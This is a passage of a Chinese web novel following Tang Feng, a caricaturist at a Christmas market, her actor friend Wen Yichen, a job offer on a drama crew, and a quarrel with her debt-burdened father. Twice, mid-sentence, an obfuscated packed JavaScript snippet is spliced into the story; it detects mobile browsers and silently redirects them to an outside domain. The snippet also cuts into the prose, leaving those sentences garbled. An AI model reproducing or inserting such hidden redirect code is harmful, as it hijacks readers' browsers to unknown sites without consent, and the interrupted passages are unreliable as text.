陈铮愣了下,即刻感兴趣发问:“哎?你从哪知道的?他不会蠢到带着钟嘉敏去参加那场婚礼了吧?也是,现场是收手机的,只要避开直播镜头就行,那他为什么要道……喂?李恪?……” 李恪挂断电话,把手机扔在副驾的座椅上。 空调出风口仍旧在持续不断地出着热气,他模仿着唐枫的姿势曲起手指在风口翻转了一下。 热气绕过他的手指钻进他的衣袖,空气里她的气息已经被稀释得无踪无影。 李恪的手伸向副驾的真皮座椅,回弹力强的坏处,摸不到她留下的一点痕迹。 他闭上眼睛,手就放在那里,来回地、轻慢地摩挲着。 他贪恋于能触及到的和她有关的东西,“有关过”的也好,比看不见人、听不到消息,都好。 …… 被李恪耽搁了那么一下,唐枫没赶上最近的一趟高铁,赶第二趟回去的时候,时间已经不适合出摊了。 邯市这两年搞市容文明建设,对摊贩管得严苛,出摊要在规定地点内,还要交贵得要死的摊位费,折合下来累死累活忙活一个晚上也就能剩个路费,所以唐枫轻易不申请摊位。 但最近是圣诞季,丁园路举办圣诞限定集市,人/流量要比平常多出五倍有余,唐枫摆摊画人像漫画,一整条街上没几个竞品,再出个圣诞主题漫,不出意外一晚上刨除摊位费和材料费还能净赚四位数。 唐枫骂骂咧咧,混蛋李恪欠她的钱又多出一笔! 讨回来是没门了,唐枫斗志盎然,一定把失去的全部赚回来! 第二天下午,唐枫早早出发准备去丁园路占个好位置。 赶到集市的时候,太阳还没彻底下山,傍晚的余温洒在青黑的柏油路上,冬日光影斑驳。 丁园路摊位不固定,线上交好摊位费后到地占位,谁先抢到算谁的。 本以为隆冬腊月出摊的人会少一些,但唐枫显然是低估了大家赚钱的魄力,她赶到的时候最好的几个位置早被占据,唐枫拎着画架和背包坐到了一个卖煮红酒的摊位旁边。 这家红酒摊位人气很高,在集市宣传圣诞季的时候就开始在抖书营销打卡免费试尝,会对红酒感兴趣的人有极大的概率会在艺术漫画摊位前驻足。 捧着热红酒坐在一旁边小酌边等待作画,然后拍几张照片,朋友圈C位占定了。 唐枫的押宝没错,沾了旁边红酒摊位的光,引客渠道给力,从集市开始上人开始,唐枫的摊位前几乎没有断过顾客。 虽然手腕快画断了,手指冻得发僵,但唐枫听着80、80到账的声音,心里美得跳踢踏舞。 一直到红酒摊位的最后一桶酒卖光,唐枫这边才慢慢歇下来。 她抱着几乎没有什么温度了的暖手袋搓了搓手,拾笔又画了一副。 唐枫拿着自己画的红酒摊位小漫画送给摊位老板,说谢谢他们借给她的光。 摊位老板很喜欢唐枫的画,连连夸赞是唐枫自己的手艺好,只是他们的红酒卖光了,不然一定要让唐枫尝一杯。 老板问唐枫明天还来不来,唐枫重重点头,肯定来! 老板说那明天他们还做邻居,第一杯红酒送给唐枫,唐枫乐滋滋应下。 红酒摊位收了摊,唐枫还没有,距离开市刚过去不到两小时,她钱还没赚够呢。 时间推移,摊位越撤越少,顾客也越来越少,一直到半小时后,唐枫才又迎来一对客人。 是一对情侣,女孩对唐枫的展示画明显很感兴趣,拉着男友过来看。 男生看了眼直接说:“这都是打印画,骗人的。还有那个什么黑松露奶油意面也一样,我不是早和你说了,现在这些洋节都是国外政治文化渗透的陷阱,快走了,一会儿带你去吃我们中国传统的烩面去。” 女孩不太高兴:“我不想吃烩面,我就想画这个漫画头像。” 说完不理会男生,问唐枫:“小姐姐,你的画多少钱啊。” 唐枫指了指标牌:“80单人,150双人。20分钟内出图。” 男生一听眼珠子快瞪出来,“80?你抢钱呐,那边那家才20一张,你以为你是达芬奇毕加索啊,收80一张!” 唐枫微微一笑:“画的类型不同价格当然不一样。就像烩面和黑松露奶油意面价格也不同一样。” 男生极度敏感,“你什么意思,内涵我?” 唐枫“哎呀”一声,“哪有,再怎么也不至于拿一份68块的意面内涵您吧,你又不是舍不得钱才不带女朋友吃的,爱国情结嘛,理解的。” 男生脸一下子红温了,“你这就是内涵,拜金,崇洋媚外,你对外国人也敢这么说话?” 集市上零星的几个人都看过来,女孩觉得丢人想拉着男生走,又舍不得唐枫的画,小声喝止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002791|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了男生一下,又对唐枫道:“帮我画幅双人的吧,谢谢。” 男生立刻说:“我不画啊。” 女孩说:“我买单。” 男生顿了下,又说:“我也不画,你画单人的吧。” 女孩没强求,扫码转账坐下,唐枫收到钱即刻开干,不到20分钟,一张细节刻画精致的水彩人像画跃然纸上,人像周围点缀着圣诞彩灯,画面温馨和谐,包裹着亚克力画框被递到女孩手里。 女孩接过画,愣住了一下。 她是蒜头鼻和龅牙,人像漫画通常会放大人物脸上明显的特征部分来让画面有记忆点和特殊性。 但唐枫弱化了这些,她着重刻画了女孩漂亮的大眼睛和一头弧度完美的卷发,还在围巾上点缀了几颗亮色的小星星坠饰。 从画画的角度,画得像的确很重要,但哪个女孩不希望自己最美的一面被留下来。 恍神过后,女孩惊喜不已,又笑又夸,连拍了几张图,旁边男友冷飕飕说了句:“有什么好看的,特色都没画出来。” 女孩的笑一下子凉下来,她怎么可能不知道自己脸上的特色是什么,可他就一定要在这时候强调出来吗? 委屈积蓄冲击着女孩的眼圈开始发烫,正在这时,唐枫又递了一副小画给她。 画中是一只右眉长着个巨大痦子的沙皮犬,男友年纪和她差不多,但脸皮松弛,以前就有同事给他取外号叫沙皮,而且男友右眉上也有一颗大黑痣。 女孩看着这幅画,忽然有种畅快感。 男友平时总拿她的鼻子和龅牙取笑,她却怎么也不舍得容貌打压他,或者说她的教养让她无法说出难听的话,此时借一个陌生女生的手小小反击,她内心快意。 唐枫递了块小磁吸贴片过去,“特意没把狗画在你的画里,就是给你自由选择的机会。这画框背板是磁吸的,喜欢就让狗贴上去,不喜欢了就把狗甩了,听你自己的。” 男生就算没看懂画,也听懂了唐枫已经算是明示的内涵,怒不可遏抬手指向唐枫:“你什么意思?骂谁是狗?” 唐枫讶然:“我可什么都没说,这位顾客别诬陷人啊。” 男生怒意值暴涨,他左右看了眼确认唐枫就一个人,攥着摊位画板就要掀桌,却被突然出现的一人摁了下去。 “欺负一个小姑娘不好吧。” 男生看向比自己高了半个头的人,气势一下子矮下去半截,“你,你谁啊。” 唐枫也想问。 这谁啊。 男人没回答,平静地盯着男生又看了两秒,男生咽了口唾沫,往后退了两步,转身走了,没叫女友。 临走的时候还小声骂了句什么,唐枫没听清,她也不感兴趣,她继续看向面前的男人。 男人穿了一身青黑色羊绒大衣,搭配巴宝莉围巾,三十岁出头的模样,看着挺斯文,像韩剧里有着“社长”之类title的帅气大叔,但不是唐枫喜欢的类型。 “刚才谢谢你啊,不过,我们认识吗?”唐枫问。 男人温和一笑,将手里的热奶茶递向唐枫,唐枫刚要推辞,他又从口袋里拿出手机递给唐枫。 上面显示着正在通话中,唐枫虽然疑惑,但接了过来。 “你好?” 电话另一端传来带着少年气的温柔声线:“喝一口奶茶,特意给你挑的。芋泥牛乳三分糖,我记得没错吧?” 8. 媚粉 “温以尘!?”唐枫立刻听了出来。 “你这搞得像地下特/务/接头似的。”唐枫确定奶茶来源后,立刻嘬着吸管猛吸了一口,温热的奶茶下肚,周身的冷气散去了三分。 “我记得你前段时间追的那本言情小说里有这个桥段,怎么样,真实体验下来感觉如何?”温以尘问她。 唐枫两只手握着奶茶瓶身,送奶茶的帅大叔向她微微颔首离开了,她嚼着珍珠说:“还……挺爽的哈哈。” 温以尘听着她的声音也乐了一下,“什么时候结束啊?” “再等半小时吧。”唐枫估摸了下时间,她又调侃他:“怎么,你要过来接我啊。” “你想让我接吗?”温以尘反问。 唐枫知道他肯定不会来,所以故意说:“当然啦,让大明星过来接我下班,说出去够我吹嘘半年的。” “才半年啊,”温以尘失望道,“这么短,我都不想出现了。” 唐枫配合他,“哎呀,那我可太难过啦。” 温以尘被她的语气逗笑了,“怎么还不信呢?你转头,看你六点钟方向。” 内心仍旧抱有怀疑,但身体却很诚实地随着温以尘的话转过头去。 两个路人刚好从她视线的前方走过,这一秒半的身影阻隔让她忽然对想要见到温以尘这件事,莫名多了几分焦急的期待感。 人影掠过,热红酒和糖炒栗子的味道被挤到她鼻间,街边响起轻盈的风撞铃铛声,在道路对面那家装饰满彩灯的西餐厅里,透过玻璃窗,温以尘手机放在耳侧,冲着她挥手微笑。 外套应当是被侍应生放好了,他只穿了一件羊驼绒蓝白相间的毛衣,棕色蜷曲的短发在餐厅暖光下渡上层蓬松的柔光。 “看你的表情,是不是已经被我感动坏了。”温以尘托腮透过玻璃窗看着她,“现在足够吹嘘多久了?” 唐枫还没回答,就看到餐厅内两个女孩神色激动地跑到温以尘的桌前。 “是、是温以尘吗?啊啊啊真的是温以尘!我好喜欢你演的南歌,可以合张影吗?我是你的忠实粉丝,为了追《空山》,我买了18块钱的超前点映!” “抱歉,私人行程,不方便合影。”送完奶茶折返的秦绎替温以尘婉拒了粉丝的合影请求。 两个女孩虽然面露遗憾失望,但说起来却也可以理解。 明星的私人生活经常被狗仔媒体贩卖制造噱头看点,更有贴脸示爱的私生之流,追星时自己明明也对这种入侵自家哥哥隐私的行为嗤之以鼻,但轮到自己身上又的确难以抑制想要和他近距离贴近的欲望。 女孩互相牵着手眼神抚慰对方今天至少见到活人了,准备走的时候却被清亮温润的声音叫住了。 “可以合啊,不耽误什么,别告诉别人我吃了大蒜披萨就行。”温以尘弯着笑眼说。 两个女孩握着对方的手兴奋地快蹦起来。 “你们两个分别合,还是我们三个一起?”他问。 “分别!” “一起!” 听到两人意见不同,温以尘说:“那我们先分别合,然后再三人一起?” 女孩自然忙不迭答应。 自拍模式先分别拍好双人合影,又把手机交给坐在对面的秦绎让他帮忙拍三人照,拍完后又交还给两个女孩,让她们确认照片里自己的状态O不OK,他乐意重拍到她们满意为止。 女孩抱着手机离开的时候,感动得眼泪都快淌出来了。 “太太太太太温柔了!这辈子粉温以尘值了!” “我太牛逼了,他看着我眼睛的时候,我竟然能克制住没让姨妈从鼻子里冒出来。” 从两个女孩搭讪求合影,到她们离开餐厅经过摊位,唐枫目睹,以及听闻了全程。 人走后,温以尘拿起放在桌上的手机,“刚才说到哪儿了来着?” “说到你媚粉媚到我头上了这件事。”唐枫半开玩笑地说。 温以尘隔远冲她扬扬眉,“我不赞成‘媚粉’这个词,艺人和粉丝本身就是共生关系,我只是把我收到的喜欢交还回去百分之一而已。” “说得有几分道理。”唐枫点点头,她一边收拾着自己的摊位,游客已经没几个了,温度也越来越低,她再待下去纯属没苦硬吃,“不过我也不是你粉丝啊!” “这就是问题所在了,我们认识三年了,我都没能把你收入麾下,说明我的‘媚粉’能力还有很大的提升空间。” “你看你又自相矛盾,不是不赞成媚粉么。”唐枫笑说。 “媚你可以。把你媚成粉,简称媚粉。”温以尘向玻璃上哈了口气,食指在上面画了个笑脸,在唐枫的视角里,他的眉眼刚好落在笑脸上,明明朗透着有些傻气的少年气息。 唐枫再次被逗笑,她吸了一大口奶茶进肚,腹间充斥芋泥味道的暖意。 回忆起和温以尘的相识,唐枫称其为绝对意外的巧合。 三年前温以尘还在各大剧组跑龙套,连糊咖这两个字都称不上,糊咖至少是个咖,而温以尘整个粉丝超话里只有10个人。 其中之一就是唐枫。 唐枫进这个超话的过程也很意外,那时候她在一家摄影工作室做跟妆兼职,认识了摄影师小A,小A私下接一些明星代拍的活,认识了小B,也就是后来温以尘超话的发起者。 小B是个喜欢“养”小艺人的高中生,一口气追着七八个没有名气的小艺人,帮他们建超话、管理粉丝群、剪视频、拍出圈图…… 很多小艺人“养着养着”就“养死了”,一起吃饭的时候,小B感慨:“娱乐圈也不是什么人都能分一杯羹的,尤其是没有背景的新人,不知道尘尘能坚持多久。” 小A发问:“尘尘?又是你新墙头?” 小B展示了温以尘的照片,唐枫也跟着瞄了一眼,小A惊讶:“这很帅了啊!没火吗?” “何止没火,简直是很水!”小B愤慨。 她讲述了温以尘的倒霉拍戏史,十八岁入行从尸体开始演,演了一年终于等到个有脸的活人角色,结果被另一个男艺人截胡了,在家抠脚了又一年后,才面试上一个有台词的角色,结果碰上导演吸/毒塌房,剧直接被封了。 小B当时追的是那个截胡的艺人,得知后就直接脱粉转粉温以尘了。 唐枫听着都怜爱了,“这么倒霉,有没有想过和这行八字不合,换一行呢?” 小B看过来,“刚才我就想说了,点了六个蛋黄鸡翅,你这个姐姐已经吃了三个了,是不是有点没礼貌啊。” 唐枫说:“你不是说你蛋黄过敏么?” 小B“诶诶诶”的,想反驳又一时想不到词,被小A拦下来,“哎两个鸡翅而已,说你家尘尘吧,他有微博吗?我去给他加个人气鼓鼓劲。” “有的,粉丝不多,超话都没有。我还在想要不要这个月我妈给我打了零花钱后给他买点粉丝呢。”小B哀叹道。 “先给他建个超话呗。”小A提议。 “发起超话得10个人才能通过审核,我们粉丝群算上我只有8个人。”小B说。 “算上我俩不就有了。”小A说。 小A和小B同时看向唐枫,唐枫咬着鸡翅停下来。 小B招了招手叫来服务员,“再来一份蛋黄鸡翅。” 就这样,唐枫成了温以尘粉丝超话的一员,甚至成为了超话主持人之一。 超话成立的第二天,温以尘就加入了超话,但一直没在里面发声。 后来小B学习越来越忙,唐枫本着负责任的态度以及那盘蛋黄鸡翅的缘故,帮忙管理着超话以及不到一百人的粉丝群。 一年后小B全力奋战高考,彻底把管理权限递交给了唐枫,那一年温以尘也进入了他人生的转折点,龙套三年终于面试成功一个网剧男三角色,并且成功上线出圈。 温以尘凭借自己和角色合二为一的演技以及不俗的容貌气质收获了相当量的一批粉丝,那段时间唐枫光是审核粉丝进群都快审核瞎了。 网剧播出大结局的那天,温以尘私聊了唐枫,说想要送她一些礼物感谢她的付出。 其实不止唐枫,温以尘平等地私聊了另外两个超话主持人,但小A当时正忙着和男友吵架闹分手,小B正在一人单挑五三,只有唐枫这一个时间自由的自由职业者有时间回复。 “不用了,我也是帮朋友的忙。如果你一定要感谢的话,多拍几部好戏吧。”唐枫打字回复。 后来温以尘没再联系她,一年后小B高考结束王者归来,唐枫忙不迭把账号管理权还给小B,并退出了主持团队。 这一年耽误她少赚好多钱,那一份蛋黄鸡翅吃得简直太亏! 再后来就到了一年后,唐枫在一个游戏漫展做showgirl,穿着兔女郎的衣服向经过的玩家发传单。 漫展人多,鱼龙混杂,有玩家控诉游戏摊位规则不明导致他错过了奖品,争执推搡之间波及到了认真发传单的兔女郎唐枫,她被人/流推着倒向了地面。 正在这个时候,一只骨节纤长的手接住了她。 避免了狗吃屎的结局,唐枫连忙感谢,抬起头时,对方却惊喜出声:“不吃糖?” “诶你是?” 不怪唐枫没认出温以尘,他当时作为某手游代言人出的是英雄COSER扮相,半张脸遮在银色面罩后,只露出一双眼睛,真的很难让人辨认。 再加上管理超话和粉丝群那段时间,唐枫一边打工、一边打工,光是筛选进群资格就已经耗费她大半精力条了,根本没看过几眼正主温以尘。 周围的粉丝乌泱泱围上来隔断了唐枫和温以尘,但温以尘却对这句“诶你是?”上了心。 他回去后再度私聊了“不吃糖”,隔了两天才收到回复: “不好意思,我真的不是你的粉丝,管理超话也真的是帮朋友忙。对了,你能给我张签名照吗?我之前说不用感谢的话有点装了,如果可以的话,签名照我就放闲鱼卖了,可以作为这一年的感谢费。” 温以尘经常在粉丝群上线饭撒发红包,但唐枫本着管理员身份的矜持一直忍着没抢,累积下来错过的也有个小几百。 而温以尘的签名照闲鱼价格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002792|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在200到600之间,就算没有管理费,唐枫觉得自己要个小红包弥补一下也不算过分吧! 温以尘看着这段时隔48小时发来的话气笑了,但他还是回复了:可以。 他表示可以给10张签名照,但要唐枫亲自去拿。 唐枫算了下,这趟至少能赚两千,美滋滋就去了。 结果到了以后,温以尘却改口说他的签名照只给粉丝,让她看完他新剧再给。 为了2000块,唐枫花三天忍辱负重看完了,温以尘提问了几个细节她也回答上来了,但再问对他的感觉,唐枫说:“还不错。” “还不错?” 这三个字和“诶你是?”杀伤力不相上下,完完整整激起了温以尘的胜负欲。 后来温以尘以10张10张的签名照钓着唐枫看了他所有的剧,但唐枫每次的回答都差不多:还不错。 “我年后有部新剧开机。” 镜头转回,玻璃窗上的笑脸痕迹已经消失,温以尘屈指敲了敲玻璃,似乎在提醒唐枫认真听讲。 “多少集啊?”唐枫问,“如果三十集以上那我这次要20张签名照,上次一播就是48集,会员费我都续了两个月,还没和你算账呢。” 温以尘失笑:“给你报销会员好吧,年卡?” “这还差不多。”唐枫又美了。 “不过这次我要说的不是这个。”温以尘说。 “嗯?” “剧组有个助理化妆师的空缺,你有兴趣吗?” 话一问出,唐枫怔了一下,坐在温以尘对面的秦绎表情也变了两分。 温以尘神色语气不变,“妆造顾问是蔡问思老师,我记得你转发过他的微博,说很欣赏他的妆造。” “是这样没错,但……”唐枫不确定下来,“但我何德何能啊。” “对啊,让国际化妆师Candy老师去做一个剧组化妆小助理,我们剧组何德何能啊。” 唐枫:“……你看直播了?” 温以尘笑说:“热搜榜挂了八个小时,这么有节目效果的直播,很难不看到啊。” 苏寒提到“Candy”这个名字是在这场婚礼之前,不排除直播爆了后营销号剪辑苏寒之前直播切片的可能性。 但唐枫此刻心里猛然跃出的想法是,李恪看了那场直播吗?他接下这场演出,到底和她有没有关系。 “就只有一个问题。”温以尘的话打断了唐枫的思绪。 “什么?” “化妆师助理的薪资可能会低一些,而且进组后时间也没有那么自由,你要做好三个月内没有太多时间做其他兼职的准备。这样你还想去吗?”温以尘细致地介绍完后,向她提问。 唐枫只思考了0.1秒,“我去。” 她当下的确很缺钱,但眼前能赚到的钱,和向蔡问思学习的机会以及剧组妆造的人脉经验比起来孰轻孰重,唐枫十分清楚。 她边打着电话,已经收拾好了自己的摊位,说完这句后唐枫起身。 “年后剧组见!”唐枫说,“手机我给你放在这张椅子上了,你让你对面的帅大叔过来拿一下。虽然知道你今天肯定不是特意为我过来的,但我还是得假装推辞一下,为了温老师完美的艺人形象考虑,我们还是各回各家比较好。温老师,提前说一句,圣诞快乐!” 唐枫挂了电话,冲着西餐厅玻璃窗的方向挥了挥手,然后放下手机,背起包拿起画架离开了市集。 餐厅内,温以尘望着窗外出神,暖黄色的灯光闪烁着映在他眼中,餐厅步入打烊时间,顾客几乎散尽,但没人过来催促他们。 秦绎吃完面前的西冷牛排,放下刀叉,“你和唐小姐走得太近了。” 温以尘收回视线,拿起一根已经凉了的薯条蘸起番茄酱,“你听见没。” 秦绎抬眼看向他。 “她叫你帅大叔,你到底哪里帅了。”温以尘不服气道。 秦绎无语白了他一眼。 “叫你帅大叔,却一直对我喜欢不上来。”温以尘蘸着番茄酱在餐盘上画了一个哭丧脸的表情,“看来不是我的问题,唐小枫同学就是眼光有问题!” “如果我没记错,唐小姐比你大一岁吧。”秦绎对他“唐小枫”的说法提出异议。 温以尘自顾道:“看来我要做的,应该是纠正她的审美。” 秦绎意面也吃不下了,“这家店也是过度营销,被排除在收购范围外了。” 另一边,唐枫浑然不觉自己无意中间接阻止了一场餐厅的收购,她在坐公交回去的路上,翻开手机里的计算器APP开始算,接下来的一个月要赚多少才能覆盖未来三个月的入不敷出。 看着计算器界面显示的五位数巨额,唐枫马不停蹄返回微信打开她加入的新兼职群。 几乎所有价高的合适兼职她都私戳问了时间和内容,算了下差不多能凑满之后,唐枫才安心下来。 准备右滑退出界面时,新跳出的一条消息吸引了她的注意。 “招宠物护理员1名。阳江路麓湖墅……100/小时。” 9. 抖M 麓湖墅。 夜色深沉,录音室里只亮着一盏暖黄色的台灯,墙上的隔音泡棉吸收了所有杂音,MIDI键盘屏幕上微微发着蓝光,房间安静的诡异。 李恪拎起靠在桌边的吉他,随手拨了两个和弦,又放回原处,弦和空气共振颤出几秒余音。 趴在门口玻璃窗上偷看的橙子,小声问旁边的陈铮:“铮哥,李恪哥是不是失恋了啊。从昨天回来后就一直把自己关在录音室,一天一夜不吃饭不睡觉,以前没见过他这样啊。” 陈铮看着录音室里的李恪,他微皱着眉头划了下手机,看到什么又将手机扔在了工作台上。 “别乱猜,你李恪哥姓什么你忘了?”他扯着橙子的脖领把人拉到客厅。 橙子说:“姓李啊。” “那你知道济公出家前本名叫什么吗?” “李修缘?” “对了。”陈铮说,“李修缘出家后法号道济,圆寂后又投了一遍胎,就叫李恪了,这辈子戒情戒爱专搞修行。有没有觉得李恪和李修缘这个名字特别像?” 橙子摇头:“不像。尤其是这俩名一个两个字,一个三个字。” 陈铮嗤了一声,坐在沙发上很不见外地吃起了茶几上的香蕉,“没幽默感。” 橙子思考了一下,“而且济公这么善良有大爱,再怎么样也投不成李恪哥吧。” 陈铮闻言作势拿香蕉皮砸他,“试用期没到就给了你一个月的婚假,你还嫌你李恪哥不善良?” 橙子缩了缩脖子,“唉我的意思是,李恪哥看起来像把所有的大爱都分给音乐了,感觉对这个世界上所有其他的人和事都冷冰冰的,不是很爱的样子。” “当艺人助理,最重要的一点就是不要在背后议论艺人。”陈铮提点他,“还有,让你找人接替你遛Maple你找好了没。下周就到你假期了,这周怎么也得和对方交接一下吧。” “找是在找了。”橙子说,“就是没人愿意来。” “一小时150都没人来?”陈铮惊讶,“不是说大环境不好大家都很缺钱么,合着就我一个人缺钱是吧。要不是我这个月出差太多我都想自己赚这个钱了。” 橙子对于自己悄悄昧下的几十块有些心虚,听到这里就开始低头滑手机躲视线,刚打开手机就看到一条新验证消息。 [不吃糖:老板好啊,遛狗的兼职还在吗?] 橙子惊喜道:“这不是求仁得仁,有人应聘了!” 他点击通过好友认证,陈铮看到提醒他:“先确认好能签保密协议的,要对方征信,别找那种不三不四的人。” 橙子依言向“不吃糖”一一提出要求,“不吃糖”也都一一答应了下来,并约定好周一过来试岗。 “试岗?”唐枫看到这两个字抖了下肩膀,“有钱人就是事多啊,遛个狗还得试岗,算了,看在钱的份上。” 她乖巧回复:好哦~ 距离周一还有三天,这三天唐枫也没闲着,周末人/流量多,越是邻近圣诞钱就越好赚,唐枫白天抱着画架和城管周旋流窜出摊,晚上到丁园路安心支摊作画,十一点回到家后再去B站搜蔡问思的妆教视频学习适应他的化妆方式,熄灯时间都要挪到两点以后。 连续两天没有在家吃晚饭了,周末邻近傍晚,唐枫提溜着画架准备赶夜市的时候,被唐述礼喊住了。 “吃完饭再出门啊,做了你喜欢的红烧茄子。”唐述礼举着锅铲从厨房探头。 唐枫摆摆手,“不用,我夜市随便买个卷饼吃就行。” “那街上风大,吃完不得拉肚子啊。”唐述礼说,“再说卷饼不也得花钱买么,外面东西那么老贵。” 后半句成功说服了唐枫,她看了看时间还早,吃得快的话完全不耽搁出摊,而且她和红酒摊主这两天混熟了,对方摊位包月,早已经在旁边帮她占好了位置。 唐枫把包放下,进厨房准备给唐述礼帮忙。 却被后者往外赶。 “我宝的手可不是用来下厨的。” 这话一出,唐枫警觉起来。 不对劲,十分有十二分的不对劲。 唐述礼又说:“等会儿吃完我送你过去,今晚就不出车了,陪你一起摆摊,也感受下过洋节的气息。” 唐枫听完就明白唐述礼要干嘛了,她从菜板上拿起根黄瓜咬了一口:“老唐,是不是钱又不够了?” 他们家欠的钱不止两年前雪莉帮还的那一笔。 欠雪莉的唐枫来还,剩下零零总总的百来万都在唐述礼头上。 出租车营收并不固定,有时赶上淡季,唐述礼就得从唐枫这里拿钱补。 从某些角度来说,唐述礼是个挺大男子主义的人,风光的那几年他很自豪自己撑起了这个家,落魄之初也要死扛着自己出去工作,怎么也不让唐枫和叶茵赚钱。 奈何一笔笔债砸在头上,唐述礼一宿宿的睡不着觉,他想过死了一了百了,又不忍心把烂摊子扔给自己最爱的老婆和女儿。 后来唐枫偷偷赚了第一笔钱回来,可以解燃眉之急,唐述礼见她浓妆艳抹的以为她学依萍去夜上海了怎么都不要这笔钱,唐枫只好坦白自己做的是兼职模特,很正规且安全,和依萍一样卖艺不卖身。 唐述礼还是不放心,学李副官接送了唐枫几次后才终于接受了这件事。 但向闺女伸手要钱还是唐述礼心里的疙瘩,需要唐枫补贴的时候他都得铺垫好几天才能把话说出来,拐弯抹角说一百件事,就是不讲重点。 唐枫就烦老唐这点,每次察觉出苗头就故意拆穿他。 她从后面看到他脖子一下子红了,唐述礼却还是嘴硬:“我是你爹,对你好点就是跟你要钱是吧?” “略略略……”唐枫在唐述礼身后小声叨叨,吐舌做鬼脸。 唐述礼猛地一回头,她立马收住,一本正经继续啃黄瓜。 唐述礼拿锅铲把手敲她脑袋,“你把黄瓜吃了,我一会拍啥?” “您这不是拍了我么。”唐枫皱了皱鼻子。 “欠拍。”唐述礼这么说,还是去重新洗了根黄瓜。 叶茵去打牌了,晚饭就父女俩吃,一顿饭的功夫唐述礼问东问西,从摊位风向问到了唐枫要进的剧组导演的私生子八卦,就是不提钱的事。 唐枫也不说,一直到临出门,唐述礼磨磨唧唧在凳子上系了半天鞋带,唐枫忍不住了,“还差多少钱?我手里还有点。” 唐述礼老脸又红了,“又提这个。不送了不送了,省得传出去别人都以为我这当爹的吸闺女的血。” 唐枫急着出门赚钱,也懒得和他玩字谜,“不送就不送,我也不转钱了。” 唐述礼抬起头来,瞥她一眼又移开视线,“谁让你转了,我白班倒夜班,不差你那几千。” 唐枫没料到唐述礼说这种话,她明白贫贱夫妻百事哀的道理,却没想到贫贱父女更是如此。 她拿着全科A的成绩从RA退学的时候没哭,兼职被人摸大腿吃豆腐的时候没哭,这会儿却被自己老爹的一句话打击得鼻酸。 她明白老唐的自尊和憋屈,可她就不委屈了吗? 她被所有人当作公主捧着这么活了十八年,一点预兆都没有的就成了辛德瑞拉。 她也接受了,没有抱怨没有哭诉,暗暗发誓大不了就像唐述礼当年一样白手起家。 六年里她累得想要放弃时,就会想起当年唐述礼给她讲的自己的创业史,然后天一亮再次元气满满重新出发。 可唐述礼现在和她说,谁让她转了。 唐枫背起包摔门而出,门一关眼泪就流到了下巴。一路走一路哭,眼泪来不及被西北风吹得风干,就再次流下新的。 唐枫朝公交站走的路上,心里气哼哼地想,这回打死也不原谅老唐,父女情就到今天了,从此恩断义绝,你走你的独木桥,我过我的阳关道! 拐了三道大弯,距离公交站还有两百米时,一辆蓝黄色出租车贴着路沿石停在了唐枫旁边。 唐枫埋着头不去看,出租车就慢悠悠跟着唐枫走。 她快它快,她慢它慢。 步入公交车道,唐枫抽了抽鼻子,停下转身,绕过出租车走到副驾驶位钻了进去。 “这个老唐真是个混蛋,怎么能对自己的宝贝闺女说那种话!”唐述礼坐在驾驶位忿忿骂道。 唐枫破涕为笑,“这个老唐确实该骂!” “该骂!”唐述礼说,他伸手从后座够起一个纸袋子递给唐枫,“芋泥小蛋糕,拿这个赔礼道歉行不行?” “远远不够!” 唐枫双指捏着小蛋糕的两侧拿出来咬了一口,蛋糕口味甜得刚刚好,明天再生老唐的气吧,她想。 - “播客几点录。” 刚拍完6个小时的广告片,李恪坐在商务车后排闭目养神。 拍广告的妆已经卸了,他不喜欢乱七八糟的东西堆在脸上的感觉,头发随便蘸水抓了一把,额前发丝微垂,半遮着他紧闭的眼睛,看不出神情。 “定的时间是晚上7点,现在过去到那还有1个小时的时间能吃个饭,”陈铮从后视镜观察李恪,昨天和前天几乎没睡,今天又连轴转跑了几个行程,李恪不喊累陈铮自己都累了。 “不过因为是录播,时间都能协调,你要觉得时间太紧往后调一个小时也行。”陈铮又说。 “改到6点吧,我不吃了。”李恪说。 “又不吃了?”陈铮踩了下刹车,快速回头又快速看向前路,“李恪,你别告诉我你真失恋了。” 李恪和陈铮之前带过的所有艺人都不一样,有些人情绪一不好就罢工罢录,非得当孙子哄爷爷似的哄个半天才能大发慈悲动一动。 但李恪是一不高兴了就开卷,要么埋头拼命写歌,要么疯狂跑行程不给自己留空 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就这么一个人,竟然会喜欢哪个人类?还被甩了? 不对,看时间线,应该是还没开始就被拒绝了…… 陈铮觉得对方也是个角色,有机会高低得膜拜膜拜。 “周一的颁奖典礼几点。”李恪又问。 “2点红毯,4点颁奖。”陈铮说,“这个没法给你提前,咱目前还没这么大咖位。” “后面的拍摄时间提到颁奖后吧。”李恪仍旧闭着眼睛,面无表情地说。 原定的杂志拍摄是周三下午,时间倒是可以由着他们选的,棚是拍摄方自己的,协调空间大。 只是陈铮之前顾虑到这几天行程比较满,想着中间给他留一天休息,没想到李恪会提出这种要求。 他更想见识一下那位女士了。 …… 周一的颁奖礼准时在邯市月湾路举行,是个6年前才开始举办的含金量不算高的小规模音乐奖项。 这两年有往专业奖项走的趋势,请了业界话语权很高的几个歌手作评审,又提前一个月网上搞大众投票制作噱头。 但按照历年的获奖人来看,基本上还是艺人公司给自家歌手买名气的宣传渠道。 去年最佳单曲甚至给了个网红的抖书神曲,一度被嘲为“红毯杯”。 李恪本来已经拒了,这几天托那位女士的福,又把这行程给排上了。 